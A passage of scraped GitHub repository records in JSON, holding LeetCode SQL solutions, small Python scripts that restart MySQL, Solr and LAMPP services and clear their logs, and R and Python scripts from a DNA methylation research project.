but not suitable for Nth salary\\n# max() will return NULL, if not exist\\nSELECT max(Salary) as SecondHighestSalary\\nFROM Employee\\nWHERE Salary < (SELECT max(Salary) FROM Employee)\\n\"\n },\n {\n \"alpha_fraction\": 0.7442922592163086,\n \"alphanum_fraction\": 0.7716894745826721,\n \"avg_line_length\": 22.105262756347656,\n \"blob_id\": \"8ad24179874d6a87c44a6c72bbf67e2216c3a687\",\n \"content_id\": \"029bf1697256c4322c22f1de476b92ef4a0fc58b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 438,\n \"license_type\": \"no_license\",\n \"max_line_length\": 55,\n \"num_lines\": 19,\n \"path\": \"/SQL/183_Customers_Who_Never_Order.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\n# Method 1 - beat 98%\\nSELECT Name AS Customers\\nFROM Customers\\nWHERE Id not in\\n(SELECT DISTINCT CustomerId\\nFROM Orders)\\n\\n# Method 2 - beat 36%\\n# Not use IS NULL, IS NOT NULL in WHERE clause,\\n# which is slow, as it can not use index when searching\\nSELECT c1.Name AS Customers\\nFROM Customers c1\\nLEFT JOIN\\n(SELECT DISTINCT CustomerId\\nFROM Orders) c2\\nON c1.Id=c2.CustomerId\\nWHERE c2.CustomerId IS NULL\"\n },\n {\n \"alpha_fraction\": 0.7200000286102295,\n \"alphanum_fraction\": 0.7753846049308777,\n \"avg_line_length\": 24,\n \"blob_id\": \"ac9f3ba9f648bff411b326acd26e03619fa36a17\",\n \"content_id\": \"6ed4f49ed0046dc841fa119c68750837bb7d3bc0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 325,\n \"license_type\": \"no_license\",\n \"max_line_length\": 52,\n \"num_lines\": 13,\n \"path\": \"/SQL/197_Rising_Temperature.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\n#Solution 1:\\nSELECT w2.Id\\nFROM Weather w1, Weather w2\\nWHERE w1.Temperature < w2.Temperature\\nAND TO_DAYS(w2.recordDate)-TO_DAYS(w1.recordDate)=1 \\n\\n# Solution 2:\\nSELECT w2.Id \\nFROM Weather w1, Weather w2\\nWHERE subdate(w1.recordDate, 1)=w2.recordDate \\nAND w1.Temperature>w2.Temperature\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":25,"string":"25"}}},{"rowIdx":2984096,"cells":{"repo_name":{"kind":"string","value":"vadrahayu/server"},"repo_url":{"kind":"string","value":"https://github.com/vadrahayu/server"},"snapshot_id":{"kind":"string","value":"02ff2c8c02bdc038157a691db3b8d2f4d89d5070"},"revision_id":{"kind":"string","value":"3a908a32b712999aa0ec09450704166427d4457b"},"directory_id":{"kind":"string","value":"a189301e57c2cd77af022457c6757242fb67e3f9"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-02-26T14:43:14.852414","string":"2020-02-26T14:43:14.852414"},"revision_date":{"kind":"timestamp","value":"2016-06-20T02:42:17","string":"2016-06-20T02:42:17"},"committer_date":{"kind":"timestamp","value":"2016-06-20T02:42:17","string":"2016-06-20T02:42:17"},"github_id":{"kind":"number","value":61512043,"string":"61,512,043"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7058823704719543,"alphanum_fraction":0.733031690120697,"avg_line_length":26.625,"blob_id":"97c744bd0793422f643416640402970b59df6246","content_id":"c973ccd3eb560a7ff09d652e30450278d0ab0651","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":442,"license_type":"no_license","max_line_length":78,"num_lines":16,"path":"/mysql_services.py","repo_name":"vadrahayu/server","src_encoding":"UTF-8","text":"#! /usr/bin/python\n\n# To change this license header, choose License Headers in Project Properties.\n# To change this template file, choose Tools | Templates\n# and open the template in the editor.\n\n__author__ = \"Parama_Fadli_Kurnia\"\n__date__ = \"$May 25, 2016 11:23:32 AM$\"\n\nfrom subprocess import call\n\n# restart mysql service\ncall(\"sudo service mysql restart\", shell=True)\n\n# restart lampp service\ncall(\"/opt/lampp/lampp restart\", shell=True)\n"},{"alpha_fraction":0.685352623462677,"alphanum_fraction":0.7206148505210876,"avg_line_length":30.628570556640625,"blob_id":"2e79378c63f32f3cda753046e4c4a0dae62869fe","content_id":"bb14864fa1d0d7474ac9ed3a421923420370a597","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1106,"license_type":"no_license","max_line_length":88,"num_lines":35,"path":"/solr_services.py","repo_name":"vadrahayu/server","src_encoding":"UTF-8","text":"#! /usr/bin/python\n\n# To change this license header, choose License Headers in Project Properties.\n# To change this template file, choose Tools | Templates\n# and open the template in the editor.\n\n__author__ = \"Parama_Fadli_Kurnia\"\n__date__ = \"$Apr 23, 2016 3:36:55 PM$\"\n\nfrom subprocess import call\n\n# shutdown solr service\ncall(\"bash /opt/hsolr/bin/shutdown.sh\", shell=True)\n\n# delete all file with pattern *.log at tomcat server\ncall(\"rm -f /opt/hsolr/tc/logs/*.log\", shell=True)\n\n# delete all file with pattern *.txt at tomcat server\ncall(\"rm -f /opt/hsolr/tc/logs/*.txt\", shell=True)\n\n# delete all file with pattern solr.log.* at tomcat server\ncall(\"rm -f /opt/hsolr/logs/solr.log.*\", shell=True)\n\n# init solr.log with empty content\ncall(\"echo \"\" > /opt/hsolr/logs/solr.log\", shell=True)\n\n# init catalina.out with empty content\ncall(\"echo \"\" > /opt/hsolr/tc/logs/catalina.out\", shell=True)\n\n# start solr service on port 8983\ncall(\"bash /opt/hsolr/bin/startup.sh -Djetty.port=8983 -Xms6144m -Xmx6144m\", shell=True)\nprint \"FINISHED\"\n\n\n#bash /opt/hsolr/bin/startup.sh -Djetty.port=8983 -Xms6144m -Xmx6144m"},{"alpha_fraction":0.6725000143051147,"alphanum_fraction":0.7049999833106995,"avg_line_length":29.769229888916016,"blob_id":"d13b3c93b5e3cc66f1821a19048c107e4b6bd6fd","content_id":"3aca4dfb1045faf7ecfd2c52966176b873c1b0a4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":400,"license_type":"no_license","max_line_length":78,"num_lines":13,"path":"/cache_services.py","repo_name":"vadrahayu/server","src_encoding":"UTF-8","text":"#! /usr/bin/python\n\n# To change this license header, choose License Headers in Project Properties.\n# To change this template file, choose Tools | Templates\n# and open the template in the editor.\n\n__author__ = \"Parama_Fadli_Kurnia\"\n__date__ = \"$May 26, 2016 11:28:43 AM$\"\n\nfrom subprocess import call\n\n# clear cache memory\ncall(\"free && sync && echo 3 > /proc/sys/vm/drop_caches && free\", shell=True)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7058823704719543,\n \"alphanum_fraction\": 0.733031690120697,\n \"avg_line_length\": 26.625,\n \"blob_id\": \"97c744bd0793422f643416640402970b59df6246\",\n \"content_id\": \"c973ccd3eb560a7ff09d652e30450278d0ab0651\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 442,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 16,\n \"path\": \"/mysql_services.py\",\n \"repo_name\": \"vadrahayu/server\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#! /usr/bin/python\\n\\n# To change this license header, choose License Headers in Project Properties.\\n# To change this template file, choose Tools | Templates\\n# and open the template in the editor.\\n\\n__author__ = \\\"Parama_Fadli_Kurnia\\\"\\n__date__ = \\\"$May 25, 2016 11:23:32 AM$\\\"\\n\\nfrom subprocess import call\\n\\n# restart mysql service\\ncall(\\\"sudo service mysql restart\\\", shell=True)\\n\\n# restart lampp service\\ncall(\\\"/opt/lampp/lampp restart\\\", shell=True)\\n\"\n },\n {\n \"alpha_fraction\": 0.685352623462677,\n \"alphanum_fraction\": 0.7206148505210876,\n \"avg_line_length\": 30.628570556640625,\n \"blob_id\": \"2e79378c63f32f3cda753046e4c4a0dae62869fe\",\n \"content_id\": \"bb14864fa1d0d7474ac9ed3a421923420370a597\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1106,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 35,\n \"path\": \"/solr_services.py\",\n \"repo_name\": \"vadrahayu/server\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#! /usr/bin/python\\n\\n# To change this license header, choose License Headers in Project Properties.\\n# To change this template file, choose Tools | Templates\\n# and open the template in the editor.\\n\\n__author__ = \\\"Parama_Fadli_Kurnia\\\"\\n__date__ = \\\"$Apr 23, 2016 3:36:55 PM$\\\"\\n\\nfrom subprocess import call\\n\\n# shutdown solr service\\ncall(\\\"bash /opt/hsolr/bin/shutdown.sh\\\", shell=True)\\n\\n# delete all file with pattern *.log at tomcat server\\ncall(\\\"rm -f /opt/hsolr/tc/logs/*.log\\\", shell=True)\\n\\n# delete all file with pattern *.txt at tomcat server\\ncall(\\\"rm -f /opt/hsolr/tc/logs/*.txt\\\", shell=True)\\n\\n# delete all file with pattern solr.log.* at tomcat server\\ncall(\\\"rm -f /opt/hsolr/logs/solr.log.*\\\", shell=True)\\n\\n# init solr.log with empty content\\ncall(\\\"echo \\\"\\\" > /opt/hsolr/logs/solr.log\\\", shell=True)\\n\\n# init catalina.out with empty content\\ncall(\\\"echo \\\"\\\" > /opt/hsolr/tc/logs/catalina.out\\\", shell=True)\\n\\n# start solr service on port 8983\\ncall(\\\"bash /opt/hsolr/bin/startup.sh -Djetty.port=8983 -Xms6144m -Xmx6144m\\\", shell=True)\\nprint \\\"FINISHED\\\"\\n\\n\\n#bash /opt/hsolr/bin/startup.sh -Djetty.port=8983 -Xms6144m -Xmx6144m\"\n },\n {\n \"alpha_fraction\": 0.6725000143051147,\n \"alphanum_fraction\": 0.7049999833106995,\n \"avg_line_length\": 29.769229888916016,\n \"blob_id\": \"d13b3c93b5e3cc66f1821a19048c107e4b6bd6fd\",\n \"content_id\": \"3aca4dfb1045faf7ecfd2c52966176b873c1b0a4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 400,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 13,\n \"path\": \"/cache_services.py\",\n \"repo_name\": \"vadrahayu/server\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#! /usr/bin/python\\n\\n# To change this license header, choose License Headers in Project Properties.\\n# To change this template file, choose Tools | Templates\\n# and open the template in the editor.\\n\\n__author__ = \\\"Parama_Fadli_Kurnia\\\"\\n__date__ = \\\"$May 26, 2016 11:28:43 AM$\\\"\\n\\nfrom subprocess import call\\n\\n# clear cache memory\\ncall(\\\"free && sync && echo 3 > /proc/sys/vm/drop_caches && free\\\", shell=True)\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2984097,"cells":{"repo_name":{"kind":"string","value":"misingnoglic/Zaitlen_lab"},"repo_url":{"kind":"string","value":"https://github.com/misingnoglic/Zaitlen_lab"},"snapshot_id":{"kind":"string","value":"f0642e534141a5503ea9fec88ade020745d9e960"},"revision_id":{"kind":"string","value":"90fc6297c510066d9910d3e4fc29183f738d510e"},"directory_id":{"kind":"string","value":"1267f7344a8ecfb84db9d739a59f097fdca1cd29"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-05-15T16:21:33.396659","string":"2021-05-15T16:21:33.396659"},"revision_date":{"kind":"timestamp","value":"2018-01-24T08:36:38","string":"2018-01-24T08:36:38"},"committer_date":{"kind":"timestamp","value":"2018-01-24T08:36:38","string":"2018-01-24T08:36:38"},"github_id":{"kind":"number","value":107451991,"string":"107,451,991"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"timestamp","value":"2017-10-18T19:12:58","string":"2017-10-18T19:12:58"},"gha_updated_at":{"kind":"timestamp","value":"2017-08-31T23:04:52","string":"2017-08-31T23:04:52"},"gha_pushed_at":{"kind":"timestamp","value":"2017-10-18T19:07:37","string":"2017-10-18T19:07:37"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6621160507202148,"alphanum_fraction":0.6655290126800537,"avg_line_length":29.894737243652344,"blob_id":"85fbbbdb90c5d9cce81ff2e2cd6971dc2c905ebe","content_id":"532a3462f59a2ed745e75ddde4dae905f11c6a65","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":586,"license_type":"no_license","max_line_length":109,"num_lines":19,"path":"/reference_data/merge_chip_files.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"import pandas as pd\nfrom functools import reduce\n\n\nfile_list = [line.strip() for line in open(\"file_list.txt\", 'r')]\nfile_list = [file + \"_cleaned.txt\" for file in file_list]\n\ndf_names = [\"df_\" + str(i) for i in range(len(file_list))]\n\nfor i in range(len(df_names)):\n df_names[i] = pd.read_table(file_list[i])\n\nfor i in range(len(df_names)):\n df_names[i] = df_names[i].round(decimals=4)\n\n\ndf_final = reduce(lambda left, right: pd.merge(left, right, how='outer', on='!Sample_description'), df_names)\ndf_final = df_final.fillna(value=-1)\ndf_final.to_csv('test-merged.txt', sep=\"\\t\")"},{"alpha_fraction":0.608832836151123,"alphanum_fraction":0.6230283975601196,"avg_line_length":19.45161247253418,"blob_id":"3e48934ad79f7f0b4fe648a546a6a019207e05cd","content_id":"de46c50bb84a772fc0c2129e5b4c10942d6ab588","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":634,"license_type":"no_license","max_line_length":98,"num_lines":31,"path":"/reference_data/files_to_get.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"toget = open(\"files (1).txt\", \"r\")\ncurrent = open(\"currentlyhave.txt\", \"r\")\n\n# get_list = []\n# for i in current: \n# \tfor j in current: \n# \t\tif i not in j: \n# \t\t\tget_list.append()\n\ntoget_list = []\nfor line in toget:\n\tif \"fastq.gz\" in line:\n\t\ttoget_list.append(line[59:])\n\nprint(toget_list)\nprint(have_list)\n\ns1 = set(toget_list)\ns2 = set(have_list)\n\ndiff = s1.difference(s2)\n\nfile_names = [] \nfor item in diff: \n\tstring_to_write = \"https://www.encodeproject.org/files/\" + item[:11] + \"/\" +\"@@download/\" + item \n\tfile_names.append(string_to_write)\n\n\nwith open(\"toget_list.txt\", 'w') as f:\n for item in file_names:\n \tf.write(item)\n"},{"alpha_fraction":0.7076411843299866,"alphanum_fraction":0.7109634280204773,"avg_line_length":29.200000762939453,"blob_id":"f99fd2a678c51efa22e0b23d9139d089b3da537f","content_id":"c8df4e76da2c38891a80ceb02232a40475b6f26a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":301,"license_type":"no_license","max_line_length":83,"num_lines":10,"path":"/wgbs_primary_analysis/linecounts.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"from __future__ import print_function\nimport glob\n\nfiles = glob.glob(\"*_BC_*/unsortedButMerged_ForBismark_file/*_unsorted_merged.bam\")\n\n\nwith open(\"linecounts.txt\", \"w\") as output_file:\n\tfor file in files:\n\t\tnum_lines = sum(1 for line in open(file))\n\t\tprint(file+\"\\t\"+str(num_lines), file=output_file)"},{"alpha_fraction":0.7290233969688416,"alphanum_fraction":0.7524071335792542,"avg_line_length":32,"blob_id":"383f169b301600b891e97431abf4fa9ef73fce72","content_id":"42670c83366d9b6d6680e6dd3df77317a0e922a0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"R","length_bytes":727,"license_type":"no_license","max_line_length":150,"num_lines":22,"path":"/reference_data/model_methylation_data_stats.R","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"# gathering some statistics/information about methylation data arrays \n# for python simulation \n# 30 aug 17\n# author <christa.caggiano@ucsf.edu> \n\nrm(list = ls())\n\n# data mentioned in refactor paper, accession number GSE35069, downloaded http manually \nreal_data = read.table(\"/Users/christacaggiano/Documents/UCSF year 1/Zaitlen-rotation1/GSE35069_Matrix_signal_intensities.txt\", sep=\"\\t\", header=TRUE)\n\n# selects only methylation info \nmethylation_data = real_data[ , c(FALSE,FALSE, TRUE) ]\n\n# takes the mean of all samples \ncolumn_means = colMeans(methylation_data)\n\n# reports statistics about each mean \nmean(column_means)\nmedian(column_means)\nsd(column_means)\n\nmax_value = max(apply(methylation_data, 2, function(x) max(x, na.rm = TRUE))) \n"},{"alpha_fraction":0.6401151418685913,"alphanum_fraction":0.6549903750419617,"avg_line_length":62.121212005615234,"blob_id":"018a4581bafcbe3acbc60aede4dbf8c8283c80e8","content_id":"61dbcb83a4c6c31fdf386ceebc6f82810ede5290","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"R","length_bytes":2084,"license_type":"no_license","max_line_length":224,"num_lines":33,"path":"/reference_data/annotate_cpgs.R","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"# adds chromosome location to cpg probes \n# selects tissues of interest in my reference set for ALS experiments \n# jan 2018 \n# author <christa.caggiano@ucsf.edu> \n\n######################### environment ###############################\n\nrm(list=ls())\nsetwd(\"~/Documents/UCSF_year1/Zaitlen-rotation1/Zaitlen_lab/reference_data//\")\n\n######################### reference data ###############################\n\nillumina = read.table(\"HumanMethylationSites.txt\", header=TRUE, sep=\",\") # loads in illumina info with probe name and location\nobs_cpg = read.table(\"cpgs.txt\", header=TRUE) # a list of cpgs observed in my ALS dataset \nmerged_reference = read.table(\"reference_chip_data_merged.txt\", header=TRUE) # my compiled reference cpg probes \n\n######################### clean data ###############################\n\nillumina_obs = illumina[illumina$cg07881041 %in% obs_cpg$x, ] # remove any probes from illumina data not seen in ALS data\nobs_cpg_annot = subset(merged_reference, merged_reference$X.Sample_geo_accession %in% illumina_obs$cg07881041) # some data not with probe # are in my matrix, so remove those too (mostly points not in a majority of sources) \n\n ######################### tissues of interest ###############################\n\ntissues_of_interest = read.table(\"tissues_of_interest.txt\")$V1 # list of geo accesion #s that are experiments on tissues of interest for ALS (muscle, brain, some blood) \nobs_cpg_annot_tissues = subset(obs_cpg_annot, select=as.vector.factor(tissues_of_interest)) # subset my data to only these tissues \n\n######################### annotate and save ###############################\n\nobs_cpg_annot_tissues[\"IlmnID\"] = obs_cpg_annot$X.Sample_geo_accession # clean data, make the column names containing cpg probes identical for merging \nillumina_obs[\"IlmnID\"] = illumina_obs$cg07881041 # clean data, make the column names containing cpg probes identical for merging \n\ncpgs_probe_loc_by_tissue = merge(obs_cpg_annot_tissues, illumina_obs, by=\"IlmnID\") # merge illumina data with matrix data by probe name\nwrite.table(cpgs_probe_loc_by_tissue, \"cpgs_by_tissue.txt\") # save \n"},{"alpha_fraction":0.6540880799293518,"alphanum_fraction":0.6792452931404114,"avg_line_length":14.899999618530273,"blob_id":"ed5d157d739336c4c7b80949d488798ed892c959","content_id":"ebe94773ee19151452343b54e028c6be035ac044","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"R","length_bytes":159,"license_type":"no_license","max_line_length":38,"num_lines":10,"path":"/wgbs_primary_analysis/hierarch.R","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"\no1 = read.table(\"merged_most_var.txt\")\n\no2 = dist(cov(o1))\nclusters <- hclust(o2)\n\nsaveRDS(clusters, \"cluster.rdb\")\n\npng(\"clust.png\")\nplot(clusters)\ndev.off()"},{"alpha_fraction":0.5960755348205566,"alphanum_fraction":0.628285825252533,"avg_line_length":35.43243408203125,"blob_id":"d73d3b19c5d3a8188ad9ea010123d86282a6a740","content_id":"bbf9865336df495425d4b6c0cfeb410cc66cc4dc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2701,"license_type":"no_license","max_line_length":189,"num_lines":74,"path":"/reference_data/find_pnas_sites.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"# script that takes large methylatino data \n# and extracts sites from PNAS paper Lehman-Werner et al (2015)\n# dec 2017 \n# author <christa.caggiano@ucsf.edu> \n#@TODO make more robust to handle many file types\n\n# imports \n\n# import argparse # not used in this version \n\n\ndef check_sites(chr, start, pnas_sites):\n \"\"\" check if methylation file contains desired pnas site \n @params: \n chr: string of chr \n start: int of site start \n pnas_sites: dictionary of pnas_sites to be investigated \n\n \"\"\"\n\n # for each site in the pnas site dictionary check if our site \n # is within the bounds. If so return true \n for site in pnas_sites:\n if site[1] <= start <= site[2] and chr == site[0]:\n return True\n\n\ndef append_to_file(percent_meth):\n \"\"\" if a CpG site matches a PNAS site, append it to a file \n @params: \n percent_meth: CpG sites matching the PNAS sites \n \"\"\"\n f = open(\"pnas_sites.txt\", \"w\") # write to file called pnas_sites\n\n for item in percent_meth:\n f.write(\"%s\\n\" % item) # write the percent for each item in our list \n\nif __name__ == \"__main__\":\n\n # # takes in command line arguments for input, output, and which file to use\n # # @TODO make run/output optional\n # parser = argparse.ArgumentParser()\n # parser.add_argument(\"input\", help=\"path containing fastq files\")\n # parser.add_argument(\"output\", help=\"path where outputdir should be created\")\n # parser.add_argument(\"file_name\", type=int, help=\"fastq file for processing\")\n # args = parser.parse_args()\n #\n\n # @TODO incorporate this information \n # what tissue type is this \n # sample_type = \"cfDNA\"\n # surrounding_sites = 6\n\n # files to check PNAS sites im \n sample_list = ['results_2_trunc.txt']\n\n # pnas_sites to be checked * important hg18 sites \n # @TODO take in a file so sites to b e checked can be flexible \n pnas_sites = [(\"Chr18\", 74692045, 7469221), (\"Chr10\", 79936919, 79937042), (\"Chr10\", 3283832, 3283996), (\"Chr2\", 79347448, 79347588)]\n\n # for each file to check, read in one line at a time and check whether it is a PNAS site \n percent_meth = []\n for file in sample_list:\n with open(file) as f:\n \n for line in f:\n chr, start, meth, total = line.split()[0], int(line.split()[1]), int(line.split()[2]), int(line.split()[4]) # split line based on how I expect the file type to be formatted \n \n # if the site exist, append it to our dictionary \n if check_sites(chr, start, pnas_sites):\n percent_meth.append((file, chr, start, meth/total))\n\n # append all sites to a file \n append_to_file(percent_meth)\n\n\n\n\n\n"},{"alpha_fraction":0.47559449076652527,"alphanum_fraction":0.5193992257118225,"avg_line_length":35.318180084228516,"blob_id":"cf8458cba8f089fb55c635299003f0da42e0e8ba","content_id":"8d51e33924aab33c4658e16d745046894cc9c17f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":799,"license_type":"no_license","max_line_length":95,"num_lines":22,"path":"/wgbs_primary_analysis/percent_math2.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"from __future__ import print_function, division\nfrom collections import defaultdict\nimport progressbar\n\nif __name__ == \"__main__\":\n i = 0\n d = defaultdict(lambda: [0,0])\n with progressbar.ProgressBar(max_value=129311257+10000) as bar:\n with open(\"results.txt\") as f:\n for line in f:\n line_split = line.split()\n key = line_split[0]+\"|\"+line_split[1]\n d[key][0]+=int(line_split[2])\n d[key][1]+=int(line_split[3])\n i += 1\n if i % 10000 == 0:\n bar.update(i)\n\nwith open(\"results_new.txt\", \"w\") as out:\n for key, value in d.items():\n chrom, site = key.split(\"|\")\n print(f\"{chrom} {site} {value[0]} {value[1]} {value[0]/(value[0]+value[1])}\", file=out)\n"},{"alpha_fraction":0.6569343209266663,"alphanum_fraction":0.6715328693389893,"avg_line_length":16.125,"blob_id":"eb9e31885e643311c9fe3f09162cfe6671ec50e4","content_id":"1859f6fcb3f8d233b4681e4dc44343cc68af7a34","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"R","length_bytes":137,"license_type":"no_license","max_line_length":47,"num_lines":8,"path":"/wgbs_primary_analysis/champ_analysis.R","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"# trying chAMP analysis pipeline \n# christa caggiano \n# dec 22\n\n# source(\"https://bioconductor.org/biocLite.R\")\n# biocLite(\"ChAMP\")\n\nrm(list=ls())\n"},{"alpha_fraction":0.6663185358047485,"alphanum_fraction":0.6793733835220337,"avg_line_length":48,"blob_id":"c7448b19e9850036a94a30d7dde52764d43c0713","content_id":"92d26651799bc061f0911050823094ee091f10ed","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"R","length_bytes":1915,"license_type":"no_license","max_line_length":155,"num_lines":39,"path":"/reference_data/reference_data_summary.R","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"# script to summarize results of reference methylation datasets\n# dec 2017 \n# author <christa.caggiano@ucsf.edu> \n\n############################# environment #############################################\n\nrm(list=ls()) # removes anything in memory \n\n# requires \"wgbs_secondary_data_key.txt\" and \"pnas_sites.txt\" to be in wd \n# sets working directory \n# setwd(\"~/Desktop/zaitlen_lab_desktop/\")\n\nlibrary(wesanderson) # library of wes anderson themed color palettes, for funsies\nrequire(gplots) # updates to R base graphics \n\n############# analysis of metadata associated with methylation datasets ################\n\nwgbs = read.csv(\"wgbs_secondary_data_key.txt\", sep=\"\\t\")\n\nwgbs$Tissue=as.factor(wgbs$Tissue) # makes sure data loaded properly \nwgbs_no_blood = subset(wgbs, wgbs$Tissue!=\" whole blood\") # removes whole blood, too many are included to be balanced\n\n# plots tissue types \npal = wes_palette(\"Cavalcanti\", nrow(table(s_no_blood$Tissue)), type = \"continuous\") # makes a wes anderson color palette for barplot\nop <- par(mar = c(10,4,4,2) + 0.1) # sets the graphing parameters so that there is extra whitespace around the graph, good for long x-labels on the barplot\nbarplot(table(s_no_blood$Tissue), col=pal, las=2, cex.names=0.7, ylim=c(0, 30)) # plots (las rotates text)\ntitle(main=\"compiled tissue types\", ylab=\"counts\", las=2) # adds title \n\n# creates a bar plot of gender breakdown in methylation datasets \ntable(s_no_blood$Gender)\npie(as.factor(s_no_blood$Gender), labels=c(\"Male\", \"Female\", \"unknown\"))\n\n############# analysis reference data percent methylated at select pnas sites ################\npnas = read.table(\"pnas_sites.txt\", header=T) # read data \n\npnas = pnas[4:40] # subset to just % methylated columns \npnas = na.omit(pnas) # omit rows with an NAs \n\nheatmap.2(cov(pnas), Rowv=NA, Colv=NA, col = greenred(256), trace=\"none\", scale=\"column\", dendrogram=\"none\") # make a heatmap of covariance between sites\n\n\n\n\n"},{"alpha_fraction":0.6063492298126221,"alphanum_fraction":0.6249433159828186,"avg_line_length":30.5,"blob_id":"5d8f83cc300a134b05810c70bb346488b98c428e","content_id":"866b977ca32928dca152b009a67b03df55ca1e28","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2205,"license_type":"no_license","max_line_length":106,"num_lines":70,"path":"/simulation/decon_simulation_2.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"# 8 nov 17\n# updates to the previous simulation so it makes more sense\n# integrated known information about tissues\n# author <christa.caggiano@ucsf.edu>\n\nimport pandas as pd\nimport random\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport matplotlib.cm as cm\n\n\ndef generate_proportion(tissue, individuals):\n \"\"\"\n generates the contribution of different tissues for\n each individual\n :param tissue: number of tissues to be simulated\n :param individuals: number of individuals\n :return: pandas dataframe of proportion of tissue, of shape individuals by tissue\n \"\"\"\n rows = []\n for i in range(individuals):\n vals = np.random.choice(10, tissue) # pick tissue number of values from 1 to 10 to be proportions\n rows.append([x/sum(vals) for x in vals]) # proportions must sum to 1\n return pd.DataFrame.from_records(rows)\n\n\ndef generate_reference(tissue, sites):\n \"\"\"\n generate reference methylation values for each tissue\n :param tissue: number of tissues\n :param sites: number of CpG sites\n :return: pandas dataframe of proportion of methylated for each site\n \"\"\"\n rows = []\n for t in range(tissue): # generate for each tissue\n vals = []\n for s in range(sites):\n vals.append(random.randint(0, 1))\n rows.append(vals)\n return pd.DataFrame(rows).round(decimals=2)\n\n\nif __name__ == \"__main__\":\n\n individuals = 5\n sites = 1000\n tissues = 10\n\n p = generate_proportion(tissues, individuals).as_matrix()\n r = generate_reference(tissues, sites).as_matrix()\n o = np.around(np.dot(p, r), decimals=2)\n\n x, y = o.shape\n for i in range(x):\n for j in range(y):\n if random.randrange(0, 1) == 1:\n o[i][j] = random.choice([0, 1])\n if random.randrange(0, 10) == 1:\n o[i][j] = 0.5\n if random.randrange(0, 10) == 1:\n o[i][j] = 0.75\n\n colors = cm.rainbow(np.linspace(0, 1, len(o)))\n for i, c in zip(range(len(o)), colors):\n plt.scatter(range(len(o[i, :])), o[i, :], color=c, label=\"individual: \" + str(i))\n plt.xlabel(\"CpG site\")\n plt.ylabel(\"Proportion methylated\")\n # plt.legend(loc=0)\n plt.show()\n"},{"alpha_fraction":0.5948905348777771,"alphanum_fraction":0.6697080135345459,"avg_line_length":25.14285659790039,"blob_id":"fc391d092e248f8e8da7bd03613e40b709d43b89","content_id":"d04e8f4e6ac37fa49f9a1f44ad2063115c5f684d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":548,"license_type":"no_license","max_line_length":99,"num_lines":21,"path":"/reference_data/generate_urls.py","repo_name":"misingnoglic/Zaitlen_lab","src_encoding":"UTF-8","text":"# 22 Sept 17 \n# author <christa.caggiano@ucsf.edu> \n# generates file list for wget -i mass data 